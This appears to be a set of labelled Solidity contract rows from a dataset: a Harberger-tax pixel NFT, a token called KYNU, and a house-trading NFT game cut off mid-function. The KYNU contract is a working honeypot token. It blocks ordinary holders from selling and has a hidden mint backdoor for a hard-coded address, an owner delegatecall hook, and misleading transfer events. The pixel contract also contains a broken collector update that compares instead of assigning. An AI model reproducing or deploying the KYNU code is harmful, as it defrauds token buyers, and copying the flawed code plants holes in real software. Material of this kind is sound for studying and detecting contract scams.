function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HarbergerTaxable is Ownable {
using SafeMath for uint256;
uint256 public taxPercentage;
address public taxCollector;
address public ethFoundation;
uint256 public currentFoundationContribution;
uint256 public ethFoundationPercentage;
uint256 public taxCollectorPercentage;
event UpdateCollector(address indexed newCollector);
event UpdateTaxPercentages(uint256 indexed newEFPercentage, uint256 indexed newTaxCollectorPercentage);
constructor(uint256 _taxPercentage, address _taxCollector) public {
taxPercentage = _taxPercentage;
taxCollector = _taxCollector;
ethFoundation = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
ethFoundationPercentage = 20;
taxCollectorPercentage = 80;
}
mapping(address => uint256) public valueHeld;
mapping(address => uint256) public lastPaidTaxes;
mapping(address => uint256) public userBalanceAtLastPaid;
modifier hasPositveBalance(address user) {
require(userHasPositveBalance(user) == true, "User has a negative balance");
_;
}
function updateCollector(address _newCollector)
public
onlyOwner
{
require(_newCollector != address(0));
taxCollector == _newCollector;
emit UpdateCollector(_newCollector);
}
function updateTaxPercentages(uint256 _newEFPercentage, uint256 _newTaxCollectorPercentage)
public
onlyOwner
{
require(_newEFPercentage < 100);
require(_newTaxCollectorPercentage < 100);
require(_newEFPercentage.add(_newTaxCollectorPercentage) == 100);
ethFoundationPercentage = _newEFPercentage;
taxCollectorPercentage = _newTaxCollectorPercentage;
emit UpdateTaxPercentages(_newEFPercentage, _newTaxCollectorPercentage);
}
function addFunds()
public
payable
{
userBalanceAtLastPaid[msg.sender] = userBalanceAtLastPaid[msg.sender].add(msg.value);
}
function withdraw(uint256 value) public onlyOwner {
require(transferTaxes(msg.sender, false), "User has a negative balance");
userBalanceAtLastPaid[msg.sender] = userBalanceAtLastPaid[msg.sender].sub(value);
msg.sender.transfer(value);
}
function userHasPositveBalance(address user) public view returns (bool) {
return userBalanceAtLastPaid[user] >= _taxesDue(user);
}
function userBalance(address user) public view returns (uint256) {
return userBalanceAtLastPaid[user].sub(_taxesDue(user));
}
function transferTaxes(address user, bool isInAuction) public returns (bool) {
if (isInAuction) {
return true;
}
uint256 taxesDue = _taxesDue(user);
if (userBalanceAtLastPaid[user] < taxesDue) {
return false;
}
_payoutTaxes(taxesDue);
lastPaidTaxes[user] = now;
userBalanceAtLastPaid[user] = userBalanceAtLastPaid[user].sub(taxesDue);
return true;
}
function payoutEF()
public
{
uint256 uincornsRequirement = 2.014 ether;
require(currentFoundationContribution >= uincornsRequirement);
currentFoundationContribution = currentFoundationContribution.sub(uincornsRequirement);
ethFoundation.transfer(uincornsRequirement);
}
function _payoutTaxes(uint256 _taxesDue)
internal
{
uint256 foundationContribution = _taxesDue.mul(ethFoundationPercentage).div(100);
uint256 taxCollectorContribution = _taxesDue.mul(taxCollectorPercentage).div(100);
currentFoundationContribution += foundationContribution;
taxCollector.transfer(taxCollectorContribution);
}
function _taxesDue(address user) internal view returns (uint256) {
if (lastPaidTaxes[user] == 0) {
return 0;
}
uint256 timeElapsed = now.sub(lastPaidTaxes[user]);
return (valueHeld[user].mul(timeElapsed).div(365 days)).mul(taxPercentage).div(100);
}
function _addToValueHeld(address user, uint256 value) internal {
require(transferTaxes(user, false), "User has a negative balance");
require(userBalanceAtLastPaid[user] > 0);
valueHeld[user] = valueHeld[user].add(value);
}
function _subFromValueHeld(address user, uint256 value, bool isInAuction) internal {
require(transferTaxes(user, isInAuction), "User has a negative balance");
valueHeld[user] = valueHeld[user].sub(value);
}
}
contract RadicalPixels is HarbergerTaxable, ERC721Token {
using SafeMath for uint256;
uint256 public xMax;
uint256 public yMax;
uint256 constant clearLow = 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000;
uint256 constant clearHigh = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff;
uint256 constant factor = 0x100000000000000000000000000000000;
struct Pixel {
bytes32 id;
address seller;
uint256 x;
uint256 y;
uint256 price;
bytes32 auctionId;
bytes32 contentData;
}
struct Auction {
bytes32 auctionId;
bytes32 blockId;
uint256 x;
uint256 y;
uint256 currentPrice;
address currentLeader;
uint256 endTime;
}
mapping(uint256 => mapping(uint256 => Pixel)) public pixelByCoordinate;
mapping(bytes32 => Auction) public auctionById;
modifier validRange(uint256 _x, uint256 _y)
{
require(_x < xMax, "X coordinate is out of range");
require(_y < yMax, "Y coordinate is out of range");
_;
}
modifier auctionNotOngoing(uint256 _x, uint256 _y)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
require(pixel.auctionId == 0);
_;
}
event BuyPixel(
bytes32 indexed id,
address indexed seller,
address indexed buyer,
uint256 x,
uint256 y,
uint256 price,
bytes32 contentData
);
event SetPixelPrice(
bytes32 indexed id,
address indexed seller,
uint256 x,
uint256 y,
uint256 price
);
event BeginDutchAuction(
bytes32 indexed pixelId,
uint256 indexed tokenId,
bytes32 indexed auctionId,
address initiator,
uint256 x,
uint256 y,
uint256 startTime,
uint256 endTime
);
event UpdateAuctionBid(
bytes32 indexed pixelId,
uint256 indexed tokenId,
bytes32 indexed auctionId,
address bidder,
uint256 amountBet,
uint256 timeBet
);
event EndDutchAuction(
bytes32 indexed pixelId,
uint256 indexed tokenId,
address indexed claimer,
uint256 x,
uint256 y
);
event UpdateContentData(
bytes32 indexed pixelId,
address indexed owner,
uint256 x,
uint256 y,
bytes32 newContentData
);
constructor(uint256 _xMax, uint256 _yMax, uint256 _taxPercentage, address _taxCollector)
public
ERC721Token("Radical Pixels", "RPX")
HarbergerTaxable(_taxPercentage, _taxCollector)
{
require(_xMax > 0, "xMax must be a valid number");
require(_yMax > 0, "yMax must be a valid number");
xMax = _xMax;
yMax = _yMax;
}
function transferFrom(address _from, address _to, uint256 _tokenId, uint256 _price, uint256 _x, uint256 _y)
public
auctionNotOngoing(_x, _y)
{
_subFromValueHeld(msg.sender, _price, false);
_addToValueHeld(_to, _price);
require(_to == msg.sender);
Pixel memory pixel = pixelByCoordinate[_x][_y];
super.transferFrom(_from, _to, _tokenId);
}
function buyUninitializedPixelBlock(uint256 _x, uint256 _y, uint256 _price, bytes32 _contentData)
public
{
require(_price > 0);
_buyUninitializedPixelBlock(_x, _y, _price, _contentData);
}
function buyUninitializedPixelBlocks(uint256[] _x, uint256[] _y, uint256[] _price, bytes32[] _contentData)
public
{
require(_x.length == _y.length && _x.length == _price.length && _x.length == _contentData.length);
for (uint i = 0; i < _x.length; i++) {
require(_price[i] > 0);
_buyUninitializedPixelBlock(_x[i], _y[i], _price[i], _contentData[i]);
}
}
function buyPixelBlock(uint256 _x, uint256 _y, uint256 _price, bytes32 _contentData)
public
payable
{
require(_price > 0);
uint256 _ = _buyPixelBlock(_x, _y, _price, msg.value, _contentData);
}
function buyPixelBlocks(uint256[] _x, uint256[] _y, uint256[] _price, bytes32[] _contentData)
public
payable
{
require(_x.length == _y.length && _x.length == _price.length && _x.length == _contentData.length);
uint256 currentValue = msg.value;
for (uint i = 0; i < _x.length; i++) {
require(_price[i] > 0);
currentValue = _buyPixelBlock(_x[i], _y[i], _price[i], currentValue, _contentData[i]);
}
}
function setPixelBlockPrice(uint256 _x, uint256 _y, uint256 _price)
public
payable
{
require(_price > 0);
_setPixelBlockPrice(_x, _y, _price);
}
function setPixelBlockPrices(uint256[] _x, uint256[] _y, uint256[] _price)
public
payable
{
require(_x.length == _y.length && _x.length == _price.length);
for (uint i = 0; i < _x.length; i++) {
require(_price[i] > 0);
_setPixelBlockPrice(_x[i], _y[i], _price[i]);
}
}
function beginDutchAuction(uint256 _x, uint256 _y)
public
auctionNotOngoing(_x, _y)
validRange(_x, _y)
{
Pixel storage pixel = pixelByCoordinate[_x][_y];
require(!userHasPositveBalance(pixel.seller));
require(pixel.auctionId == 0);
pixel.auctionId = _generateDutchAuction(_x, _y);
uint256 tokenId = _encodeTokenId(_x, _y);
_updatePixelMapping(pixel.seller, _x, _y, pixel.price, pixel.auctionId, "");
emit BeginDutchAuction(
pixel.id,
tokenId,
pixel.auctionId,
msg.sender,
_x,
_y,
block.timestamp,
block.timestamp.add(1 days)
);
}
function bidInAuction(uint256 _x, uint256 _y, uint256 _bid)
public
validRange(_x, _y)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
Auction storage auction = auctionById[pixel.auctionId];
uint256 _tokenId = _encodeTokenId(_x, _y);
require(pixel.auctionId != 0);
require(auction.currentPrice < _bid);
require(block.timestamp < auction.endTime);
auction.currentPrice = _bid;
auction.currentLeader = msg.sender;
emit UpdateAuctionBid(
pixel.id,
_tokenId,
auction.auctionId,
msg.sender,
_bid,
block.timestamp
);
}
function endDutchAuction(uint256 _x, uint256 _y)
public
validRange(_x, _y)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
Auction memory auction = auctionById[pixel.auctionId];
require(pixel.auctionId != 0);
require(auction.endTime < block.timestamp);
address winner = _endDutchAuction(_x, _y);
_updatePixelMapping(winner, _x, _y, auction.currentPrice, 0, "");
_subFromValueHeld(pixel.seller, pixel.price, true);
_addToValueHeld(winner, auction.currentPrice);
uint256 tokenId = _encodeTokenId(_x, _y);
removeTokenFrom(pixel.seller, tokenId);
addTokenTo(winner, tokenId);
emit Transfer(pixel.seller, winner, tokenId);
emit EndDutchAuction(
pixel.id,
tokenId,
winner,
_x,
_y
);
}
function changeContentData(uint256 _x, uint256 _y, bytes32 _contentData)
public
{
Pixel storage pixel = pixelByCoordinate[_x][_y];
require(msg.sender == pixel.seller);
pixel.contentData = _contentData;
emit UpdateContentData(
pixel.id,
pixel.seller,
_x,
_y,
_contentData
);
}
function encodeTokenId(uint256 _x, uint256 _y)
public
view
validRange(_x, _y)
returns (uint256)
{
return _encodeTokenId(_x, _y);
}
function _buyUninitializedPixelBlock(uint256 _x, uint256 _y, uint256 _price, bytes32 _contentData)
internal
validRange(_x, _y)
hasPositveBalance(msg.sender)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
require(pixel.seller == address(0), "Pixel must not be initialized");
uint256 tokenId = _encodeTokenId(_x, _y);
bytes32 pixelId = _updatePixelMapping(msg.sender, _x, _y, _price, 0, _contentData);
_addToValueHeld(msg.sender, _price);
_mint(msg.sender, tokenId);
emit BuyPixel(
pixelId,
address(0),
msg.sender,
_x,
_y,
_price,
_contentData
);
}
function _buyPixelBlock(uint256 _x, uint256 _y, uint256 _price, uint256 _currentValue, bytes32 _contentData)
internal
validRange(_x, _y)
hasPositveBalance(msg.sender)
returns (uint256)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
require(pixel.auctionId == 0);
uint256 _taxOnPrice = _calculateTax(_price);
require(pixel.seller != address(0), "Pixel must be initialized");
require(userBalanceAtLastPaid[msg.sender] >= _taxOnPrice);
require(pixel.price <= _currentValue, "Must have sent sufficient funds");
uint256 tokenId = _encodeTokenId(_x, _y);
removeTokenFrom(pixel.seller, tokenId);
addTokenTo(msg.sender, tokenId);
emit Transfer(pixel.seller, msg.sender, tokenId);
_addToValueHeld(msg.sender, _price);
_subFromValueHeld(pixel.seller, pixel.price, false);
_updatePixelMapping(msg.sender, _x, _y, _price, 0, _contentData);
pixel.seller.transfer(pixel.price);
emit BuyPixel(
pixel.id,
pixel.seller,
msg.sender,
_x,
_y,
pixel.price,
_contentData
);
return _currentValue.sub(pixel.price);
}
function _setPixelBlockPrice(uint256 _x, uint256 _y, uint256 _price)
internal
auctionNotOngoing(_x, _y)
validRange(_x, _y)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
require(pixel.seller == msg.sender, "Sender must own the block");
_addToValueHeld(msg.sender, _price);
delete pixelByCoordinate[_x][_y];
bytes32 pixelId = _updatePixelMapping(msg.sender, _x, _y, _price, 0, "");
emit SetPixelPrice(
pixelId,
pixel.seller,
_x,
_y,
pixel.price
);
}
function _generateDutchAuction(uint256 _x, uint256 _y)
internal
returns (bytes32)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
bytes32 _auctionId = keccak256(
abi.encodePacked(
block.timestamp,
_x,
_y
)
);
auctionById[_auctionId] = Auction({
auctionId: _auctionId,
blockId: pixel.id,
x: _x,
y: _y,
currentPrice: 0,
currentLeader: msg.sender,
endTime: block.timestamp.add(1 days)
});
return _auctionId;
}
function _endDutchAuction(uint256 _x, uint256 _y)
internal
returns (address)
{
Pixel memory pixel = pixelByCoordinate[_x][_y];
Auction memory auction = auctionById[pixel.auctionId];
address _winner = auction.currentLeader;
delete auctionById[auction.auctionId];
return _winner;
}
function _updatePixelMapping
(
address _seller,
uint256 _x,
uint256 _y,
uint256 _price,
bytes32 _auctionId,
bytes32 _contentData
)
internal
returns (bytes32)
{
bytes32 pixelId = keccak256(
abi.encodePacked(
_x,
_y
)
);
pixelByCoordinate[_x][_y] = Pixel({
id: pixelId,
seller: _seller,
x: _x,
y: _y,
price: _price,
auctionId: _auctionId,
contentData: _contentData
});
return pixelId;
}
function _calculateTax(uint256 _price)
internal
view
returns (uint256)
{
return _price.mul(taxPercentage).div(100);
}
function _encodeTokenId(uint256 _x, uint256 _y)
internal
pure
returns (uint256 result)
{
return ((_x * factor) & clearLow) | (_y & clearHigh);
}
} | 1 | 3,991 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KYNU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,696 |
pragma solidity ^0.4.18;
contract NFTHouseGame {
struct Listing {
uint startPrice;
uint endPrice;
uint startedAt;
uint endsAt;
bool isAvailable;
}
enum HouseClasses {
Shack,
Apartment,
Bungalow,
House,
Mansion,
Estate,
Penthouse,
Ashes
}
struct House {
address owner;
uint streetNumber;
string streetName;
string streetType;
string colorCode;
uint numBedrooms;
uint numBathrooms;
uint squareFootage;
uint propertyValue;
uint statusValue;
HouseClasses class;
uint classVariant;
}
struct Trait {
string name;
bool isNegative;
}
address public gameOwner;
address public gameDeveloper;
uint public presaleSales;
uint public presaleLimit = 5000;
bool public presaleOngoing = true;
uint presaleDevFee = 20;
uint presaleProceeds;
uint presaleDevPayout;
uint public buildPrice = 150 finney;
uint public additionPrice = 100 finney;
uint public saleFee = 2;
House[] public houses;
Trait[] public traits;
mapping (uint => uint[4]) public houseTraits;
mapping (uint => Listing) public listings;
mapping (address => uint) public ownedHouses;
mapping (uint => uint) public classVariants;
mapping (uint => address) approvedTransfers;
string[] colors = ["e96b63"];
string[] streetNames = ["Main"];
string[] streetTypes = ["Street"];
modifier onlyBy(address _authorized) {
require(msg.sender == _authorized);
_;
}
modifier onlyByOwnerOrDev {
require(msg.sender == gameOwner || msg.sender == gameDeveloper);
_;
}
modifier onlyByAssetOwner(uint _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier onlyDuringPresale {
require(presaleOngoing);
_;
}
function NFTHouseGame() public {
gameOwner = msg.sender;
gameDeveloper = msg.sender;
presaleOngoing = true;
presaleLimit = 5000;
presaleDevFee = 20;
buildPrice = 150 finney;
additionPrice = 10 finney;
saleFee = 2;
}
function name() pure public returns (string) {
return "SubPrimeCrypto";
}
function symbol() pure public returns (string) {
return "HOUSE";
}
function totalSupply() view public returns (uint) {
return houses.length;
}
function balanceOf(address _owner) constant public returns (uint) {
return ownedHouses[_owner];
}
event Transfer(address indexed _from, address indexed _to, uint _numTokens);
event Approval(address indexed _owner, address indexed _approved, uint _tokenId);
function ownerOf(uint _tokenId) constant public returns (address) {
return houses[_tokenId].owner;
}
function approve(address _to, uint _tokenId) onlyByAssetOwner(_tokenId) public {
require(msg.sender != _to);
approvedTransfers[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function approveAndTransfer(address _to, uint _tokenId) internal {
House storage house = houses[_tokenId];
address oldOwner = house.owner;
address newOwner = _to;
ownedHouses[oldOwner]--;
ownedHouses[newOwner]++;
house.owner = newOwner;
Approval(oldOwner, newOwner, _tokenId);
Transfer(oldOwner, newOwner, 1);
}
function takeOwnership(uint _tokenId) public {
House storage house = houses[_tokenId];
address oldOwner = house.owner;
address newOwner = msg.sender;
require(approvedTransfers[_tokenId] == newOwner);
ownedHouses[oldOwner] -= 1;
ownedHouses[newOwner] += 1;
house.owner = newOwner;
Transfer(oldOwner, newOwner, 1);
}
function transfer(address _to, uint _tokenId) public {
House storage house = houses[_tokenId];
address oldOwner = house.owner;
address newOwner = _to;
require(oldOwner != newOwner);
require(
(msg.sender == oldOwner) ||
(approvedTransfers[_tokenId] == newOwner)
);
ownedHouses[oldOwner]--;
ownedHouses[newOwner]++;
house.owner = newOwner;
Transfer(oldOwner, newOwner, 1);
}
event Minted(uint _tokenId);
event Upgraded(uint _tokenId);
event Destroyed(uint _tokenId);
function buildHouse() payable public {
require(
msg.value >= buildPrice ||
msg.sender == gameOwner ||
msg.sender == gameDeveloper
);
if (presaleOngoing) {
presaleSales++;
presaleProceeds += msg.value;
}
generateHouse(msg.sender);
}
function buildAddition(uint _tokenId) onlyByAssetOwner(_tokenId) payable public {
House storage house = houses[_tokenId];
require(msg.value >= additionPrice);
if (presaleOngoing) presaleProceeds += msg.value;
house.numBedrooms += (msg.value / additionPrice);
processUpgrades(house);
}
function burnForInsurance(uint _tokenId) onlyByAssetOwner(_tokenId) public {
House storage house = houses[_tokenId];
uint rand = notRandomWithSeed(1000, _tokenId);
if (rand > 799) {
upgradeAsset(_tokenId);
} else {
if (rand > 499) {
upgradeAsset(_tokenId);
} else {
house.class = HouseClasses.Ashes;
house.statusValue = 0;
house.numBedrooms = 0;
house.numBathrooms = 0;
house.propertyValue = 0;
Destroyed(_tokenId);
}
}
}
function purchaseAsset(uint _tokenId) payable public {
Listing storage listing = listings[_tokenId];
uint currentPrice = calculateCurrentPrice(listing);
require(msg.value >= currentPrice);
require(listing.isAvailable && listing.endsAt > now);
listing.isAvailable = false;
if (presaleOngoing && (++presaleSales >= presaleLimit)) {
presaleOngoing = false;
}
if (houses[_tokenId].owner != address(this)) {
uint fee = currentPrice / (100 / saleFee);
uint sellerProceeds = currentPrice - fee;
presaleProceeds += (msg.value - sellerProceeds);
houses[_tokenId].owner.transfer(sellerProceeds);
} else {
presaleProceeds += msg.value;
}
approveAndTransfer(msg.sender, _tokenId);
}
function listAsset(uint _tokenId, uint _startPrice, uint _endPrice, uint _numDays) onlyByAssetOwner(_tokenId) public {
createListing(_tokenId, _startPrice, _endPrice, _numDays);
}
function removeAssetListing(uint _tokenId) public onlyByAssetOwner(_tokenId) {
listings[_tokenId].isAvailable = false;
}
function getHouseTraits(uint _tokenId) public view returns (uint[4]) {
return houseTraits[_tokenId];
}
function getTraitCount() public view returns (uint) {
return traits.length;
}
function addNewColor(string _colorCode) public onlyByOwnerOrDev {
colors[colors.length++] = _colorCode;
}
function addNewTrait(string _name, bool _isNegative) public onlyByOwnerOrDev {
uint traitId = traits.length++;
traits[traitId].name = _name;
traits[traitId].isNegative = _isNegative;
}
function addNewStreetName(string _name) public onlyByOwnerOrDev {
streetNames[streetNames.length++] = _name;
}
function addNewStreetType(string _type) public onlyByOwnerOrDev {
streetTypes[streetTypes.length++] = _type;
}
function generatePresaleHouse() onlyByOwnerOrDev onlyDuringPresale public {
uint houseId = generateHouse(this);
uint sellPrice = (houses[houseId].propertyValue / 5000) * 1 finney;
if (sellPrice > 250 finney) sellPrice = 250 finney;
if (sellPrice < 50 finney) sellPrice = 50 finney;
createListing(houseId, sellPrice, 0, 30);
}
function setVariantCount(uint _houseClass, uint _variantCount) public onlyByOwnerOrDev {
